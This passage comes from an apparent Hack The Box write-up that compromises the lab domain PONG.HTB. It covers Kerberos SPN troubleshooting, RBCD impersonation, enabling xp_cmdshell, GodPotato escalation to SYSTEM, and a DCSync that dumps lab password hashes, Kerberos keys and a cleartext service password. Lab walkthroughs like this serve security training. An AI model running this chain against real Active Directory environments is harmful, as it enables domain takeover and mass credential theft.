[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[*] Saving ticket in c.carlssen.ccache
Now it’s just the TGT:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache klist
Ticket cache: FILE:c.carlssen.ccache
Default principal: c.carlssen@PONG.HTB
Valid starting Expires Service principal
11/16/2026 04:42:31 11/16/2026 14:42:31 krbtgt/PONG.HTB@PONG.HTB
renew until 11/17/2026 04:42:27
SPN Issues
This time it uses the TGT to auth, but there’s a different error:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains mssqlclient.py -no-pass -k -windows-auth dc2.pong.htb -debug
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:1433 ... OK
[*] Encryption required, switching to TLS
[+] Using Kerberos Cache: c.carlssen.ccache
[+] Domain retrieved from CCache: PONG.HTB
[+] SPN MSSQLSVC/DC2.PONG.HTB:1433@PONG.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/PONG.HTB@PONG.HTB
[+] Using TGT from cache
[+] Username retrieved from CCache: c.carlssen
[+] Searching target's instances to look for port number 1433
[+] Trying to connect to KDC at PONG.HTB:88
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[+] Server time (UTC): 2026-11-16 04:43:44
[+] Exception:
Traceback (most recent call last):
File "/home/oxdf/.local/bin/mssqlclient.py", line 97, in <module>
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
kdcHost=options.dc_ip)
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/tds.py", line 1731, in kerberosLogin
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
~~~~~~~~~~~~~~^
serverName, domain, kdcHost, tgt, cipher, sessionKey
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
)
^
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/krb5/kerberosv5.py", line 456, in getKerberosTGS
r = sendReceive(message, domain, kdcHost)
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
The TGT is now being used, and the KDC is answering the request for MSSQLSvc/DC2.PONG.HTB:1433 with KDC_ERR_S_PRINCIPAL_UNKNOWN. That means no account in PONG.HTB has that SPN registered, so the KDC can’t issue a ticket for it.
Impacket builds the SPN as MSSQLSvc/<hostname>:<port>, so it only works if the registered SPN matches exactly. There are three possibilities:
- The SPN exists in a different form, such as
MSSQLSvc/dc2.pong.htbwithout the port orMSSQLSvc/dc2:1433. - No MSSQL SPN is registered at all. This happens when SQL Server tries to register its SPN at startup, and its service account doesn’t have permission, so it silently doesn’t. Windows clients then quietly fall back to NTLM (which is why admins rarely notice).
- It’s registered in the other domain or under an unexpected host. Unlikely, but the search below would show it.
Connect Using the Registered SPN
I can look up the SPN for MSSQL using bloodyAD:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains bloodyAD -k --host dc2.pong.htb -d pong.htb get search --filter '(servicePrincipalName=MSSQLSvc*)' --attr sAMAccountName,servicePrincipalName
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
distinguishedName: CN=svc_sql,OU=Service Accounts,DC=pong,DC=htb
sAMAccountName: svc_sql
servicePrincipalName: mssqlsvc/dc2.pong.htb
The account associated with the SPN is svc_sql, and the SPN is mssqlsvc/dc2.pong.htb. I can request a service ticket for that specific SPN:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains getST.py -k -no-pass -spn 'mssqlsvc/dc2.pong.htb' pong.htb/c.carlssen
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Getting ST for user
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[*] Saving ticket in c.carlssen@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Now I can auth with that. mssqlclient uses the same AnySPN rewrite as before, but this time the ticket is encrypted for the right account:
oxdf@hacky$ KRB5CCNAME=c.carlssen@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache proxychains mssqlclient.py -no-pass -k -windows-auth dc2.pong.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:1433 ... OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC2): Line 1: Changed database context to 'master'.
[*] INFO(DC2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (pong\C.Carlssen guest@master)>
I’ve got access to MSSQL as c.carlssen. This user is a guest in the DB. There’s nothing of interest here.
dbo Access to MSSQL
Strategy
I’ve observed that c.carlssen has GenericWrite over the account that MSSQL is running in the context of, svc_sql. I’ll use that to configure RBCD onto the svc_sql account, allowing Pong_gMSA$ to impersonate any user to services running as svc_sql, such as MSSQL. Then I can get a connection to MSSQL as one of the database administrator accounts:
I’m using the Pong_gMSA$ account because the RBCD / S4U2Proxy abuse requires the account I impersonate through to behave as a service, and c.carlssen can’t. c.carlssen is a plain user with no SPN, so the S4U2Self step fails with KDC_ERR_S_PRINCIPAL_UNKNOWN. The KDC won’t issue a user a service ticket to itself when it isn’t a service. Even where S4U2Self does succeed for a user, the ticket comes back non-forwardable, which then breaks S4U2Proxy. Pong_gMSA$, on the other hand, is a machine-class (service) account, so it can drive S4U cleanly.
Access
I’ll use bloodyAD to write the RBCD into place:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains bloodyAD -k --host dc2.pong.htb -d pong.htb add rbcd svc_sql Pong_gMSA$
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
[+] Pong_gMSA$ can now impersonate users on svc_sql via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+ccache://pong.htb\None:c.carlssen.ccache@dc2.pong.htb/?serverip=224.0.0.1&dc=224.0.0.1' 'HOST/svc_sql@pong.htb' 'Administrator@pong.htb'
Now I’ll request a service ticket for one of the database administrators:
oxdf@hacky$ KRB5CCNAME=Pong_gMSA\$.ccache proxychains getST.py -k -no-pass pong.htb/Pong_gMSA$ -impersonate p.reiner -spn mssqlsvc/dc2.pong.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating p.reiner
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:1080 ... pong.htb:88 ... OK
[*] Requesting S4U2Proxy
[proxychains] Strict chain ... 127.0.0.1:1080 ... pong.htb:88 ... OK
[*] Saving ticket in p.reiner@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
That ticket connects to MSSQL as dbo:
oxdf@hacky$ KRB5CCNAME=p.reiner@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache proxychains mssqlclient.py -no-pass -k -windows-auth dc2.pong.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:1433 ... OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC2): Line 1: Changed database context to 'master'.
[*] INFO(DC2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (pong\P.Reiner dbo@master)>
Potato
Command Execution
There’s nothing interesting in the database, but p.reiner is a sysadmin (which is why mssqlclient shows dbo), so I can enable and use xp_cmdshell:
SQL (pong\P.Reiner dbo@master)> xp_cmdshell whoami
ERROR(DC2): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL (pong\P.Reiner dbo@master)> enable_xp_cmdshell
INFO(DC2): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC2): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (pong\P.Reiner dbo@master)> xp_cmdshell whoami
output
------------
pong\svc_sql
NULL
The shell runs as svc_sql. It also has SeImpersonatePrivilege:
SQL (pong\P.Reiner dbo@master)> xp_cmdshell "whoami /priv"
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
This can be abused with the potato exploits.
GodPotato
I’ll grab the latest release of GodPotato and upload it to DC2 using the shell as c.carlssen. Since it’s uploaded as c.carlssen but needs to run as svc_sql, I’ll make sure all users can read and execute it:
evil-winrm-py PS C:\programdata> upload GodPotato-NET4.exe gp.exe
Uploading ~/hackthebox/pingpong/GodPotato-NET4.exe: 100%|████████████| 56.0k/56.0k [00:01<00:00, 44.8kB/s]
[+] File uploaded successfully as: C:\programdata\gp.exe
evil-winrm-py PS C:\programdata> icacls .\gp.exe /grant Everyone:RX
processed file: .\gp.exe
Successfully processed 1 files; Failed processing 0 files
Now I’ll run it:
SQL (pong\P.Reiner dbo@master)> xp_cmdshell C:\ProgramData\gp.exe -cmd "whoami"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140708419600384
[*] DispatchTable: 0x140708422187336
[*] UseProtseqFunction: 0x140708421479968
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\c22f97f5-ffa6-4fdd-a263-c2ab78f58c8b\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000ec02-0b38-ffff-124e-3ebf66c16401
[*] DCOM obj OXID: 0xdb5797a5e36bb6b7
[*] DCOM obj OID: 0xa2f371f8dd5e24af
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 904 Token:0x760 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 284
nt authority\system
NULL
It ran as system! I’ll run again and add c.carlssen to the local Administrators group. On a domain controller, the local Administrators group is the domain’s BUILTIN\Administrators group, which has the rights needed to DCSync:
SQL (pong\P.Reiner dbo@master)> xp_cmdshell C:\ProgramData\gp.exe -cmd "net localgroup administrators c.carlssen /add"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140708419600384
[*] DispatchTable: 0x140708422187336
[*] UseProtseqFunction: 0x140708421479968
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\061c170b-b600-4aec-9153-ea416582ecbe\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00005402-0948-ffff-ff55-2b14ecbfac0b
[*] DCOM obj OXID: 0x7a7e346e4e0586f3
[*] DCOM obj OID: 0x3860c2feff27a56d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 904 Token:0x760 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3776
The command completed successfully.
NULL
NULL
Now c.carlssen shows as admin on DC2:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains -q netexec smb DC2.pong.htb --use-kcache
SMB DC2.pong.htb 445 DC2 x64 (name:DC2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB DC2.pong.htb 445 DC2 [+] PONG.HTB\c.carlssen from ccache (Pwn3d!)
And I can DCSync:
oxdf@hacky$ KRB5CCNAME=c.carlssen.ccache proxychains -q secretsdump.py -k -no-pass dc2.pong.htb
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xdee71f7ea0e118519be7765b9db41a65
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a24454d98e39a4a6d022b5d3e64c9e71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
pong\DC2$:aes256-cts-hmac-sha1-96:486c88bea5be139e8a271864ac2ff0216d7ccb003b5eb61f2976071490515848
pong\DC2$:aes128-cts-hmac-sha1-96:debc5c93eb20fca6eb01887a5f2104a8
pong\DC2$:des-cbc-md5:19fbeffee3525b3e
pong\DC2$:plain_password_hex:64349515ca8aa48c1bda29023b423f5a8f46f50e2f28b37107f445781b64697dedd29b93a3b87e4acd6c624f9007a491512fce15fe7a59aacaea270c93c5c428464f0f730aebcc66bbadb36a93afa8cb82656e5ac1ab01d69bcccb030934f774bd0131135528f790883abfd3d00588a8600fd24cd722c0a4bc47ba43236d430caf04de2fc8410943e18a9a082df054429bf31043d6f69387bc43a855e3e550950054967cba3895bb36794c52aa78d2aa7e04e6e4c8adea63bd5b23146f055792c5bc3aa444abd35f2df404fff90989cfcc7fbc68f7f12174f77b454cbec13f206608970f5737350ff2ebf0acc8f440a8
pong\DC2$:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3fc94174d83a1bc9db957259e29130a9e19ccbef
dpapi_userkey:0xaa394100f064e1d1a6e0ad4366e0ea391358ba52
[*] NL$KM
0000 04 44 D9 97 85 D7 4A 1F C5 A3 4E 26 3C 19 05 D1 .D....J...N&<...
0010 D9 A3 20 EA 3A B3 AA A2 AC B1 30 76 BE 34 25 11 .. .:.....0v.4%.
0020 27 03 89 80 C7 2C C3 FF 36 71 63 EA 9C ED 92 C7 '....,..6qc.....
0030 8C 3B 31 75 38 96 2B 6E D9 DB 61 30 D9 11 B3 63 .;1u8.+n..a0...c
NL$KM:0444d99785d74a1fc5a34e263c1905d1d9a320ea3ab3aaa2acb13076be34251127038980c72cc3ff367163ea9ced92c78c3b317538962b6ed9db6130d911b363
[*] _SC_MSSQLSERVER
PONG\svc_sql:This!IsAServi@ceA1231ccount
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b8ebfb6e9972babf9c01311748261a8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2850c6e9dfa66b220c3e013edbb23580:::
C.Carlssen:1110:aad3b435b51404eeaad3b435b51404ee:e15edce7e905644a94f0c34a0b05104e:::
M.Sun:1111:aad3b435b51404eeaad3b435b51404ee:deccbc15ace5cbf2d902f441783f1115:::
Z.Zhen:1112:aad3b435b51404eeaad3b435b51404ee:df023cb090b82c55e3e18e5fbc7f9bc3:::
A.Pearson:1113:aad3b435b51404eeaad3b435b51404ee:9a9250fa13ba7f4c25e1a5576f5b8a03:::
P.Sanchez:1114:aad3b435b51404eeaad3b435b51404ee:5261d93d06680fc00db5454eff3bcfc0:::
H.Gordon:1115:aad3b435b51404eeaad3b435b51404ee:2dc83c2f510d420be2bf3692e9cb7371:::
P.Reiner:1116:aad3b435b51404eeaad3b435b51404ee:6fa016af828999bda0e26861e00afb31:::
C.Adam:1117:aad3b435b51404eeaad3b435b51404ee:3dbc49f649cd0ed23ecd7d5071bcf00b:::
R.Rupert:1118:aad3b435b51404eeaad3b435b51404ee:8960e808108c23470cea0551d0399e8f:::
svc_sql:1119:aad3b435b51404eeaad3b435b51404ee:9e5de13bde362ad5cc68a49d26301c3b:::
svc_print:1120:aad3b435b51404eeaad3b435b51404ee:e21d90eb3c651f4bfdf6606a4c07ffd5:::
svc_ldap:1121:aad3b435b51404eeaad3b435b51404ee:f49491f9d40172069146a9c907e4d510:::
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
DC2$:1000:aad3b435b51404eeaad3b435b51404ee:e12246a7e57232eec29791ba3273a5b9:::
Pong_gMSA$:1123:aad3b435b51404eeaad3b435b51404ee:989bd748ac8dd0b71ab24edccc9fc012:::
PING$:1103:aad3b435b51404eeaad3b435b51404ee:683ca376d7f86eea6472e88bf62d99c6:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:eb76ed05ee09e812ac2b1328f5b846afeafe69f9a1ba13f94f50ab3d8d524559
Administrator:aes128-cts-hmac-sha1-96:3ca116fdd0d280d751be4efee3eeea7b
Administrator:des-cbc-md5:25ab7c5498ef6df1
krbtgt:aes256-cts-hmac-sha1-96:6282e2af4ca8f5ca935f84d03b486f2e6cc2a9b5c87fb0637a4449a44a8cd5f8
krbtgt:aes128-cts-hmac-sha1-96:f1dc39ca727289c857163fb606b5aa41
krbtgt:des-cbc-md5:6702c7679d2949ef
C.Carlssen:aes256-cts-hmac-sha1-96:1fc4a69c646ad7fe6537eedf7d08e55c93143cf4dd32ec1d27fcd9d007cb78ba
C.Carlssen:aes128-cts-hmac-sha1-96:69ba981c227f43ae62ce4ce3f60389f4
C.Carlssen:des-cbc-md5:648c5e25761973c7
M.Sun:aes256-cts-hmac-sha1-96:653c8cb750f25f9d74c0477616e542d5430cf6bee994b50161cf5d52f3bedfd0
M.Sun:aes128-cts-hmac-sha1-96:8f07ec02fc56a32150d23fd0dbc353a3
M.Sun:des-cbc-md5:105ea16e20762aa2
Z.Zhen:aes256-cts-hmac-sha1-96:208f13a06970095f1edd7942478afd6d34f3b3ccddcae627fdfc00c1b22502b8
Z.Zhen:aes128-cts-hmac-sha1-96:b89193e73905053e95fb2ad3b340cfdb
Z.Zhen:des-cbc-md5:1c8a257962dccdb5
A.Pearson:aes256-cts-hmac-sha1-96:537543f5f783db4a10f4df73e87ec7df9c692df7d970e3ee4be08c76fa53d5e7
A.Pearson:aes128-cts-hmac-sha1-96:a3a9b0fa5a8dab39c2971bab470386a7
A.Pearson:des-cbc-md5:3becd6ae4a26bf89
P.Sanchez:aes256-cts-hmac-sha1-96:12fb2b9eb168304707d6ef260269445089928f2861a8f58e54fea85e9ab5309e
P.Sanchez:aes128-cts-hmac-sha1-96:b0f0baa47311cee88ca2b52b4e8ceb49
P.Sanchez:des-cbc-md5:83dc2cc7fb5dfb57
H.Gordon:aes256-cts-hmac-sha1-96:f540010f801f234d6e1373e5a628184bf658f87f8ac510ad772300d883b300a0
H.Gordon:aes128-cts-hmac-sha1-96:24977a9c20ff0ae29914f4f882d9b0db
H.Gordon:des-cbc-md5:1a7af2c83d46e9cd
P.Reiner:aes256-cts-hmac-sha1-96:558139b55509c8a6fefe5f493f7a316cd6ab23b6eb1770c4a81934f25b6b700d
P.Reiner:aes128-cts-hmac-sha1-96:3e6a72a9be1789fd6ea0b8b9b3306c19
P.Reiner:des-cbc-md5:d5bad657b55132df
C.Adam:aes256-cts-hmac-sha1-96:647d77f0b0b0ebd22689a316339a4242044556182e3fb3c2b7bc5ffc29b1b8c4
C.Adam:aes128-cts-hmac-sha1-96:e550f93fa28e7d7196d98534c1a787ea
C.Adam:des-cbc-md5:806dc84034e6dcef
R.Rupert:aes256-cts-hmac-sha1-96:c0dfecbe5140831b99750a5c68f3ea55e3474d15caa3cc684c9a5c0be8fc4eab
R.Rupert:aes128-cts-hmac-sha1-96:e034d0c375a79fa55f36bad49760fabf
R.Rupert:des-cbc-md5:9dbca10268fddc07
svc_sql:aes256-cts-hmac-sha1-96:04268c99f2fa7c1494eb690f151dbca811659fbb2f91507af68d14ea767299a4
svc_sql:aes128-cts-hmac-sha1-96:e2823bb8675e717c06220991e69ac1b6
svc_sql:des-cbc-md5:1c3bbf5145863858
svc_print:aes256-cts-hmac-sha1-96:f9bd97d0d297630c1b1e85dd2a94a827332e2328d74141a6bafa0aa00aec0544
svc_print:aes128-cts-hmac-sha1-96:9b87341cfde9d6f5832be8fc6718126f
svc_print:des-cbc-md5:765b3434f7e9312c
svc_ldap:aes256-cts-hmac-sha1-96:cfad16d6a69c32b7a78a203485f740d132fb8713d1477d81162eac62ced1bf0b
svc_ldap:aes128-cts-hmac-sha1-96:17b3dbc9341f30adf89d67285bc5cb88
svc_ldap:des-cbc-md5:5792c71945c80bd9
R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
R.Martinelli:aes128-cts-hmac-sha1-96:14f94b4b3deaabde802460945a2079e9
R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
DC2$:aes256-cts-hmac-sha1-96:486c88bea5be139e8a271864ac2ff0216d7ccb003b5eb61f2976071490515848
DC2$:aes128-cts-hmac-sha1-96:debc5c93eb20fca6eb01887a5f2104a8
DC2$:des-cbc-md5:16abe5405d2f51ef
Pong_gMSA$:aes256-cts-hmac-sha1-96:725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6
Pong_gMSA$:aes128-cts-hmac-sha1-96:97cefa17dcaec66d9b52a97be398acf0
Pong_gMSA$:des-cbc-md5:c15b80f26dd3ce6b
PING$:aes256-cts-hmac-sha1-96:82d32219592d02188c9b9149308e5fb17185b4b44ebffa3b0681a189c7b7a523
PING$:aes128-cts-hmac-sha1-96:d60175bfd5eb36551cd4a094fadb06ea
PING$:des-cbc-md5:5829baa44f6783df
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x7ae9de170d60>
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/winregistry.py", line 172, in __del__
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/winregistry.py", line 169, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/examples/secretsdump.py", line 410, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smbconnection.py", line 633, in closeFile
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 1364, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 474, in sendSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 443, in signSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x7ae9de170d60>
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/winregistry.py", line 172, in __del__
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/winregistry.py", line 169, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/examples/secretsdump.py", line 410, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smbconnection.py", line 633, in closeFile
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 1364, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 474, in sendSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/smb3.py", line 443, in signSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.13/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'
That’s a complete compromise of the PONG.HTB domain.
Shell as Administrator on DC1
Enumeration
If I use BloodHound’s Pathfinding to go from a compromised pong.htb to ping.htb, it finds a path easily:
r.martinelli is a member of CA Managers on ping.htb, which can execute ESC4 against the domain.
Auth as r.martinelli
I’ll get a TGT as r.martinelli using the AES key dumped from pong.htb:
oxdf@hacky$ proxychains getTGT.py pong.htb/r.martinelli -aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
[*] Saving ticket in r.martinelli.ccache
It works on DC2:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains -q netexec smb dc2.pong.htb --use-kcache
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [+] PONG.HTB\r.martinelli from ccache
It also works on DC1:
oxdf@hacky$ KRB5CCNAME=r.martinelli.ccache proxychains netexec smb dc1.ping.htb --use-kcache
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:135 ... OK
SMB dc1.ping.htb 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... PONG.HTB:88 ... OK
